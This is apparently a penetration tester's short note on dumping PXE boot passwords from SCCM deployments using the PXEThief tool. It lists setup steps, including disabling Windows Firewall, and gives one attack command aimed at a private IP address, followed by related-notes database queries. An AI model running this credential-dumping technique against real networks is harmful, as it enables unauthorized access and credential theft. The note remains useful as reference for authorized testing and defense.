Dump PXE Passwords from Windows (No PXE Password Protection)

Technique Info

Prerequisites

• Windows 10 or 11 Machine
• python3 (tested ok on python 3.10)
• git-scm installed
• pipx installed (python -m pip install pipx) and run python -m pipx ensurepath)
• pxethief installed (python -m pipx install git+https://github.com/jorkle/PXEThief)
• tftp client enabled in Windows Add/Remove Features
• Windows Firewall disabled
• WinPCAP (npcap) installed (https://npcap.com/#download)

Dump PXE Passwords with pxetheif.py

Command (from git-bash terminal)

pxethief 2 192.168.58.11

Related

Related Notes

All Related Notes

TABLE file.ctime as "Created", tags as "Tags"
FROM "New Notes"
WHERE contains(tags, "windows") OR contains(tags, "pxe") OR contains(tags, "dumping") OR contains(tags, "initial-access") OR contains(tags, "sccm")
SORT file.ctime DESC

windows

TABLE file.ctime as "Created", tags as "Tags"
FROM "New Notes"
WHERE contains(tags, "windows")
SORT file.ctime DESC

pxe

TABLE file.ctime as "Created", tags as "Tags"
FROM "New Notes"
WHERE contains(tags, "pxe")
SORT file.ctime DESC

dumping

TABLE file.ctime as "Created", tags as "Tags"
FROM "New Notes"
WHERE contains(tags, "dumping")
SORT file.ctime DESC

initial-access

TABLE file.ctime as "Created", tags as "Tags"
FROM "New Notes"
WHERE contains(tags, "initial-access")
SORT file.ctime DESC

sccm

TABLE file.ctime as "Created", tags as "Tags"
FROM "New Notes"
WHERE contains(tags, "sccm")
SORT file.ctime DESC